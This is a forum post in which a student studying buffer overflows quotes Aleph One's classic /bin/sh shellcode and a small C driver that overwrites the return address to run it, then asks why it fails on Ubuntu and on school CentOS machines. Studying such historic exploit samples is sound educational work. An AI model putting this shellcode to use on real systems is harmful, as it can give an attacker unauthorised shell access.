I'm learning about buffer overflow in class and so I looked up some stuff and stumbled upon a website with some sample code to overflow a buffer and make a shell. Here's the code below:
Code:
/*
 * Run a shell via asm.  No embedded NULL's.
 *
 * Written by Aleph One - taken from 'Smashing The Stack For Fun And Profit".
 *
 */

char shellcode[] =
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
It came from here: Shellcode : Linux

It says it was developed for Debian GNU/Linux and should work on other distributions without change. I'm using Ubuntu, and the code doesn't seem to be working. It doesn't launch a shell or anything. Should I try a Debian GNU/Linux distrbution and see if it works? I've also tried running it remotely on one of my schools linux terminals to no avail (CentOS).